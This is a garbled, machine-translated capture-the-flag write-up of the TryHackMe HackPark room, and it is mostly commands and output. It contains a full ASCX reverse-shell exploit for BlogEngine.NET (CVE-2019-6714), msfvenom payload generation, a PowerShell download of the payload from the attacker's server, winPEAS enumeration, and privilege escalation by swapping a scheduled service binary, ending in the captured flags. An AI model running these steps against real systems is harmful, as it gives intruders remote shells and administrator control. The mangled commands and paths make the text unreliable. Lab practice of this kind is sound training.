[tryhackme]我尝试使用metasploit用反向外壳升级Windows特权！ hackpark写入第2部分CVE-2019-6714

$ searchsploit blogEngine -------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------外部实体Injec | Windows/WebApps/46106.txt BlogEngine 3.3.8-“内容”存储的XSS | aspx/webapps/48999.txt blogengine.net 1.4-'search.aspx'cross -s | ASP/WebApps/32874.txt Blogengine.net 1.6-目录Traversal/| ASP/WebApps/35168.txt Blogengine.net 3.3.6-目录遍历| aspx/webapps/46353.cs blogengine.net 3.3.6/3.3.7-'dirpath'dir | aspx/webapps/47010.py blogengine.net 3.3.6/3.3.7-'Path'Direct | aspx/webapps/47035.py blogengine.net 3.3.6/3.3.7-'主题cookie | aspx/webapps/47011.py blogengine.net 3.3.6/3.3.7 -xml外部| ASPX/WebApps/47014.py ----- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

$ locate 46353.cs/usr/share/exploitdb/exploits/aspx/webapps/46353.cs $ cp/usr/share/share/exploitdb/exploits/aspx/webapps/webapps/46353.cs ./postview./postv..ascx./postv..ascx

$ sudo vi postView.ascx $ cat postview.ascx＃exploit标题：blogengengine.net <= 3.3.6目录traversal rce＃日期：02-11-2019＃exploit作者：dustin cobb＃vendor homepage：https：https：//github.com.com.com.com/rxtur/blogengengengenet链接： https://github.com/rxtur/blogengine.net/releases/download/v3.3.6.0/3360.zip＃版本：<= 3.3.6＃在：Windows 2016标准/IIS 10.0＃CVE上测试：CVE-2019-6714/ * CVE-6714/ * CVE-2019-2019-67114 * * PATERAIN这个 *漏洞会影响blogengene.net版本3.3.6及以下。这 *是由未选中的“主题”参数引起的，该参数用于覆盖博客页面的默认主题。可以在此文件中 *看到脆弱的代码： * */custom/controls/postlist.ascx.cs * *攻击： * *首先，我们在下面的方法中设置了TCPCLIENT地址和端口，以便 *我们的攻击主机（我们的攻击主机）有反向TCP侦听器等待连接。 *接下来，我们通过文件管理器上传此文件。在当前的（3.3.6） * BlogEngine版本中，这是通过编辑帖子并单击看起来像工具栏上一个打开文件的 *图标来完成的。请注意，此文件必须 *上传为PostView.ASCX。上传后，该文件将在文档root的 * /app_data /files目录中。 *允许上传的管理页面是： * * http：//10.10.10/admin/app/eeditor/editpost.cshtml * * * * <％@ control语言=“ c＃” autoEventWireup =“ true” enableViewState =“ false” sarthits =“ blogengine.core.web.controls.postviewbase”％> <％> <％> <％@ import namespace =“ blogengine.core.core.core”％>><script runat="server"> static System.IO.StreamWriter streamWriter; protected override void OnLoad(EventArgs e) { base.OnLoad(e); using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.18.110.90", 4445)) { using(System.IO.Stream stream = client.GetStream()) { using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) { streamWriter = new System.IO.StreamWriter(stream); StringBuilder strInput = new StringBuilder(); System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler); p.Start(); p.BeginOutputReadLine(); while(true) { strInput.Append(rdr.ReadLine()); p.StandardInput.WriteLine(strInput); strInput.Remove(0, strInput.Length); } } } } } private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception err) { } } } </script><asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

$ netcat -nvlp 4445在[任何] 4445上聆听...

$ netcat -nvlp 4445 1⨯在[Any] 4445上听。版权所有。

$ netcat -nvlp 4445 1⨯在[Any] 4445上听。版权所有。 whoami c：\ windows \ system32 \ inetsrv> whoami iis apppool \ blog

* Attack machine $ sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.18.110.90 LPORT=4446 -f exe > ./reverse.exe 1 ⨯ [sudo] Hacklab password: [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder指定，输出原始有效负载有效载荷大小：354字节EXE文件的最终大小：73802字节

*攻击机$ python3 -m http.Server在0.0.0.0端口8000（http://0.0.0.0.0:8000/）... 10.10.10.108.70--- [12/FEB/FEB/2023 14:42:20] [12/Feb/2023 14:43:53]“ get/reverse.exe http/1.1” 200-

*目标机器 *NetCat持续PowerShell -C“ Indoke -webrequest -uri'http：//10.10.155.62:8000/reverse.exe'-outfile'-OutFile'c：\ Windows \ windows \ temp \ reverse_shell.shell.exe' 'http://10.10.155.62:8000/reverse.exe'-outfile'c：\ windows \ temp \ temp \ reverse_shell.exe'

root@ip-10-10-155-62：〜/hackpark＃msfconsole msf5>使用exploit/multi/handler [*]使用配置的有效载荷通用/shell_reverse_tcp msf5 exploit（multi/handler）设置LHOST 10.10.155.62 LHOST => 10.10.155.62 MSF5 exploit（Multi/Handler）> SET LPORT 4446 LOPT 4446 LPORT => 4446 MSF5 EXPLOIT（MULTI/HANDLER）> RUN [*] [*]开始反向TCP处理程序，在10.10.10.155.62:444446.10.10.155.62:444466 

*目标机。

*持续攻击机[*]于10.10.155.62：4446 [*]发送阶段（176195字节）至10.10.108.70 [*] MeterPreter Session 1打开（10.10.155.62:4446- > Sysinfo计算机：HackPark OS：Windows 2012 R2（6.3 Build 9600）。体系结构：X64系统语言：EN_US域：登录用户的工作组：1 MeterPreter：X86/Windows

meterpreter > upload /opt/PEAS/winPEAS/winPEAS/winPEAS/bin/x64/Release/winPEAS.exe [*] uploading : /opt/PEAS/winPEAS/winPEAS/winPEAS/bin/x64/Release/winPEAS.exe -> winPEAS.exe [*] Uploaded 458.00 KiB of 458.00 KiB (100.0%): /opt/PEAS/winPEAS/winPEAS/winPEAS/bin/x64/Release/winPEAS.exe -> winPEAS.exe [*] uploaded : /opt/PEAS/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe -> winpeas.exe

MeterPreter> Shell ... C：\ Windows \ temp> winpeas.exe ... ====（服务信息）===== [+]有趣的服务-Non Microsoft- [？]检查您是否可以覆盖某些服务二进制或执行dll劫持，也可以检查未引用的路径https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services Amazon Ec2Launch（Amazon Web Services，Inc.-亚马逊EC2Launch） AmazonSSMAgent(Amazon SSM Agent)["C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"] - Auto - Running Amazon SSM Agent ===== AWSLiteAgent(Amazon Inc. - AWS Lite Guest Agent)[C:\Program Files\Amazon\XenTools\LiteAgent.exe] - Auto - Running - No quotes and Space检测到的AWS Lite Guest Agent ====== eC2Config（Amazon Web Services，Inc。 -Ec2Config）[“ C：\ Program Files \ Amazon \ Amazon \ Amazon \ ec2configservice \ ec2config.exe”]  -  auto -auto -unlun -unlun -running -isDotnet ec2配置服务 PsShutdown)[C:\Windows\PSSDNSVC.EXE] - Manual - Stopped ==== WindowsScheduler(Splinterware Software Solutions - System Scheduler Service)[C:\PROGRA~2\SYSTEM~1\WService.exe] - Auto - Running File Permissions: Everyone [WriteData/CreateFiles] Possible DLL Hijacking in binary folder: C:\Program Files (x86)\SystemScheduler (Everyone [WriteData/CreateFiles]) System Scheduler Service Wrapper ==== [+] Modifiable Services [?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services You cannot modify any service [+] Looking if you can modify any service registry [？]检查您是否可以修改服务的注册表https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-services-registric--registric--registry-permissions [ - ]您看起来无法更改任何服务的注册表... https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking C：\ Windows \ System32 C：\ Windows C：\ Windows \ System32 \ System32 \ wbem C：\ Windows \ Windows \ Windows \ windows32 \ windows32 \ windowspowershell \ windows \ windows \ v1..0.coption forimation活动窗口应用程序系统。NullReferenceException：对象引用未设置为对象的实例。在winpeas.getpermissionsfile（字符串路径，词典“ 2 sids）上，请访问winpeas.program。<PrintInfoApplications> g__ printactiveWindow | 44_0（）[+]自动运行应用程序[？]检查您是否可以修改其他用户自动运行二进制文件（请注意，您可以修改HKCU注册表和指示的二进制文件是正常的） https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries system.io.directorynotfoundexception：directorynotfoundexception：无法找到路径的一部分菜单\ program \ startup'。在system.__ error.winioError（int32 errorcode，string oferfullpath）at system..io..filesystemenumositiTerator`1.commoninit（） System.IO.Directory.InternalGetFileDirectoryNames(String path, String userPathOriginal, String searchPattern, Boolean includeFiles, Boolean includeDirs, SearchOption searchOption, Boolean checkHost) at System.IO.Directory.InternalGetFiles(String path, String searchPattern, SearchOption searchOption) at winpeas.appeationinfo.getautorunsfolder（）atinpeas.applicationinfo.getautoruns（dictionary`2 ntaccountNames）atin.program.program.program。<PrintInfoApplications> g__printautoruns | 44_2（）[+]计划的应用程序-Non Microsoft--- [？]检查您是否可以修改其他用户计划的二进制文件https://book.hacktricks.xyz/windows/windows/windows-windows-local-privilege-privilege-privilege-privilege-epilege-escalive-with-with-with-with-berive-with-with-wires-bal------- ClearUpoldPerflogs：C：\ Windows \ System32 \ CScript.exe /b /nologo C：\ Windows \ calluxxprovider.vbs $（arg0）$（arg1）$（arg1）$（arg2）========（$（$（@％systemroot％\％system 32 \ tzsyncron）， C：\ Windows \ System32 \ tzsync.exe ==== ...

WindowsScheduler(Splinterware Software Solutions - System Scheduler Service)[C:\PROGRA~2\SYSTEM~1\WService.exe] - Auto - Running File Permissions: Everyone [WriteData/CreateFiles] Possible DLL Hijacking in binary folder: C:\Program Files (x86)\SystemScheduler (Everyone [WriteData/CreateFiles]) System Scheduler Service Wrapper

$ searchsploit分散软件-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------小路  -  - - -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Windows/local/45072.txt -------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

$ searchsploit -x 45072 ...＃概念证明1。作为常规用户登录，在其中安装了Splinware System Sundipuler Pro 5.12和服务2.创建具有相同名称的恶意.exe，可以连接回攻击机3。到原始5的位置。等待短时间和检查攻击机侦听器6。从受害者机器成功的连接，运行whoami 1。登录常规用户，使用Splyware System Scheduler Pro 5.12和安装服务。 2。创建一个具有相同名称（WService.exe）的恶意.exe，可以连接到攻击机。 ⇒IT是用Reverse.exe创建的，因此，当使用MV 3时重命名时。在受害机器上下载恶意.exe并在攻击者机器上设置侦听器。 ⇒下载，设置（重新启动）4。将原始的wservice.exe文件重命名为wservice.bak，然后将恶意文件复制到原始文件位置。 5。等待片刻，检查攻击机的听众。 6。如果受害机器的连接成功，请运行Whoami。

exproit-shell c：\ windows \ temp> taskelist /svc | findstr windowsscheduler任务列表 /svc | findstr windowsscheduler wservice.exe 1424 windowsscheduler 

C：\ Program Files（X86）\ SystemsCheduler>驱动器C中的Dir dir Volume c没有标签。卷序列号为0E97-C552 C的目录：\ Program Files（x86）\ SystemsCheduler 08/04/2019 03:37 AM<DIR> 。 08/04/2019 03:37 AM<DIR> .. 05/17/2007 12:47 PM 1,150 AlarmMlock.ICO 08/31/2003 11:06 AM 766 CLOCK.ICO 08/31/2003 11:06 AM 80,856 DING.WAV 02/12/12/2023 07:56 AM AM<DIR>事件08/04/2019 03:36 AM 60 FORUM.URL 01/08/2009 07:21 PM 1,637,972 LIBEAY32.DLL32.DLL 11/15/2004 11:16 PM 9,813 LICENS 9,813 LICENS.TAPT 3,760 LogfileAdvanced.txt 03/25/2018 09:58 AM 536,992 Message.exe 03/25/2018 09:59 AM 445,344 PlaySound.exe 03/25/2018 09:58 AM 27,040 PlayWAV.exe 08/04/2019 02:05 PM 149 Preferences.ini 03/25/2018 09:58 AM 485,792 PREVILEGE.EXE.EXE 03/24/2018 11:09 AM 10,100 README.TXT 03/25/2018 09:58 112,54 AM 112,544 RUNNOW.EXE.EXE 03/25/2018 09/2018 09:59 AM 409,352 AM 408,32.32.32.32.32.32.32.32.32.32.32.32.32.ex32.exee 32.32.ex32.exee 32.32.ex32.exee 32.32.ex32.exee 32.32.32.exee 32.32.exee 766时间表shutdowngui.exe 03/25/2018 09:58 AM 235,936 SSADMIN.EXE 03/25/2018 09:58 AM 731,552 SSCMD.EXE 01/01/08/2009/2009 07:12 SSMAIL.EXE 08/04/2019 03:36 AM 6,999 UNINS000.DAT 08/04/2019 03:36 AM 722,597 UNINS000.EXE 08/04/04/2019 03:36 AM 54 AM 54 AM 54网站06/26/26/26/26/257/257/257/3,557.27/3,54,54,54 cp pm 6,54cic.cit.icc.27 col.6,54,cIcc.icc.icc.com 6,54,cIcc.cit.icc.icc.27 col.25.icic cor 09:58 AM 76,704 WhoAmI.exe 05/16/2006 03:49 PM 785,042 WSCHEDULER.CHM 05/16/2006 02:58 PM 2,026 WScheduler.cnt 03/25/2018 09:58 AM 331,168 WScheduler.exe 05/16/2006 03:58 PM 703,081 WSCHEDULER.HLP 03/25/2018 09:58 AM 136,096 WSCtrl.exe 03/25/2018 09:58 AM 98,720 WService.exe 03/25/2018 09:58 AM 68,512 WSLogon.exe 03/25/2018 09:59 AM 33,184 WSPROC.DLL

C:\Program Files (x86)\SystemScheduler\Events>type 20198415519.INI_LOG.txt type 20198415519.INI_LOG.txt 08/04/19 15:06:01,Event Started Ok, (Administrator) 08/04/19 15:06:30,Process Ended. PID：2608，出口码：1，Message.exe（管理员）08/04/19 15：07：00，事件开始确定，（管理员）08/04/19 15：07：34，过程结束。 PID：2680，出口码：4，Message.exe（管理员）08/04/19 15：08：00，事件开始确定，（管理员）08/04/19 15：08：33，过程结束。 PID：2768，ExitCode：4，Message.exe（管理员）08/04/19 15：09：00，事件开始确定，（管理员）08/04/19 15：09：34，过程结束。 PID：3024，出口码：4，Message.exe（管理员）08/04/19 15：10：00，事件开始确定，（管理员）08/04/19 15：10：33，流程结束。 PID：1556，出口码：4，Message.exe（管理员）08/04/19 15：11：00，事件开始确定，（管理员）08/04/19 15：11：33，流程结束。 PID：468，出口码：4，Message.exe（管理员）08/04/19 15：12：00，事件开始确定，（管理员）08/04/19 15：12：33：33，流程结束。 PID：2244，出口码：4，Message.exe（管理员）08/04/19 15：13：00，事件开始确定，（管理员）08/04/19 15：13：13：33：33，流程结束。 PID：1700，出口码：4，Message.exe（管理员）08/04/19 16：43：00，事件开始正常，在登录时无法显示提醒。 （System_SVC）* 08/04/19 16：44：01，事件开始确定，（管理员）...

C：\ Program Files（X86）\ SystemsCheduler> Move Message.exe Message.bak Move Message.exe Message.bak 1 File（S）移动。 C：\ Program Files（X86）\ SystemsCheduler>移动C：\ Windows \ temp \ temp \ reverse_shell.exe message.exe移动c：\ windows \ temp \ temp \ reverse_shell.exe message.exe message.exe 1 file（s）移动。 C：\ Program Files（X86）\ SystemsCheduler>驱动器C中的Dir dir Volume c没有标签。卷序列号为0E97-C552 C的目录：\ Program Files（X86）\ SystemsCheduler 02/12/2023 08:04 AM<DIR> 。 02/12/2023 08:04 AM<DIR> .. 05/17/2007 12:47 PM 1,150 AlarmMlock.ico 08/31/2003 11:06 AM 766 clock.ico 08/31/2003 11:06 AM 80,856 Ding.wav 02/12/12/2023 08:02 AM<DIR>事件08/04/2019 03:36 AM 60 FORUM.URL 01/08/2009 07:21 PM 1,637,972 LIBEAY32.DLL32.DLL 11/15/2004 11:16 PM 9,813 LICENS 9,813 LICENS.TAPT 3,760 logfileadvanced.txt 03/25/2018 09:58 AM 536,992 Messages.bak 02/12/2023 07:00 AM 73,802 Message.exe 03/25/2018 09:59 09:59 AM 445,344 PLAYENSOUND.EXEN.EXEEN.EXEEN.EXEEN.EXEEN.EXEEN.EXEEN.EXEEN.EXEEN 03/03/03099.58 AM AM AM AM 2008,58 AM AM 2009.58 08/04/2019 02:05 PM 149 Preferences.ini 03/25/2018 09:58 AM 485,792 Privilege.exe 03/24/2018 11:09 AM 10,100 ReadMe.txt 03/25/2018 09:58 AM 112,544 RunNow.exe 03/25/2018 09:59 AM 40,352 SC32.EXE 08/31/2003 11:06 AM 766 STAGE.ICO 03/25/2018 09:58 09:58 AM 1,633,696 SECHEDULER.EXE.EXE 03/25/2018 09:59 AM 491,936 AM 491,936 SENDKEYSHELPER.EXE.EXE.EXE 03/44 093/09664 0966409664099666409666409666409966640966409664090909090909岁Showxy.exe 03/25/2018 09:58 AM 439,712 ShutdownGui.Exe.Exe 03/25/2018 09:58 AM 235,936 SSADMIN.EXE 03/25/2018 09:58 09:58 ssleay32.dll 03/25/2018 09:58 AM 456,608 SSMAIL.EXE.EXE 08/04/2019 03:36 AM 6,999 UNINS000.DAT 08/04/2019 036 036:36 06/26/2009 04:27 PM 6,574 WHITECLOCK.ICO 03/25/2018 09:58 AM 76,704 WHOAMI.EXE 05/16/2006/2006 03:49 pm 785,042 03/25/2018 09:58 AM 331,168 WSCHEDULER.EXE 05/16/2006 03:58 PM 703,081 WSCHEDULER.HLP 03/25/2018 09:58 AM 136,096 WSCTRL.EXE 036,096 WSCTRL.EXE 03/9.58 03/98 AM.58 09.58 AM.58,58 AM.58 099.58,58,58,589999999999999999999999999999999999999999899989999岁03/25/2018 09:58 AM 68,512 WSLOGON.EXE 03/25/2018 09:59 AM 33,184 WSPROC.DLL 39 FILE（S）11,222,061 BYTES 39,39,129,129,874,432 BICE免费

MSF5 Exploit（Multi/Handler）>运行[*]在10.10.155.62:4446 [*]发送阶段（176195字节）至10.10.108.70 [*] MeterPreter Session 2打开（10.10.155.62:4446-> 10.10.10.10.108.70.70.70-4464444464444444444446-110.10.70-4444444444444444446-4446- 16:06:00 +0000 MeterPreter> 

MeterPreter> Shell过程1948创建。频道1创建。 Microsoft Windows [版本6.3.9600]（C）2013 Microsoft Corporation。版权所有。 c：\ progra〜2 \ system〜1> echo％用户名％echo％用户名％管理员

c：\ progra〜2 \ System 〜1>类型C：\ USER \ Jeff \ desktop \ user.txt类型C：\ USERS \ JEFF \ desktop \ user.txt 759BD8AF507517BCFAEDE7BCFAEDE78A21A73E3E39

C：\ progra〜2 \ System〜1>类型C：\ USERS \ ustrandator \ desktop \ desktop \ root.txt类型c：\ users \ dismandator \ desktop \ desktop \ root.txt 7E13D97F05F7F7CEB98881A3EB3EB3EB3EB3E78D3E7278D3E72

*攻击机$ sudo msfvenom -p windows/shell_reverse_tcp lhost = 10.18.110.90 lport = 4446 -f exe> ./ reverse.exe 1⨯[sudo] hacklab密码：[ - ]没有选择平台，选择了sevied note note not the at the Art at Art a aff at Art的付费notect，notife输出原始有效负载有效载荷大小：354字节EXE文件的最终大小：73802字节

C：\ progra〜2 \ System〜1> SystemInfo | findstr/i日期原始安装日期：8/3/2019，10：43:23 AM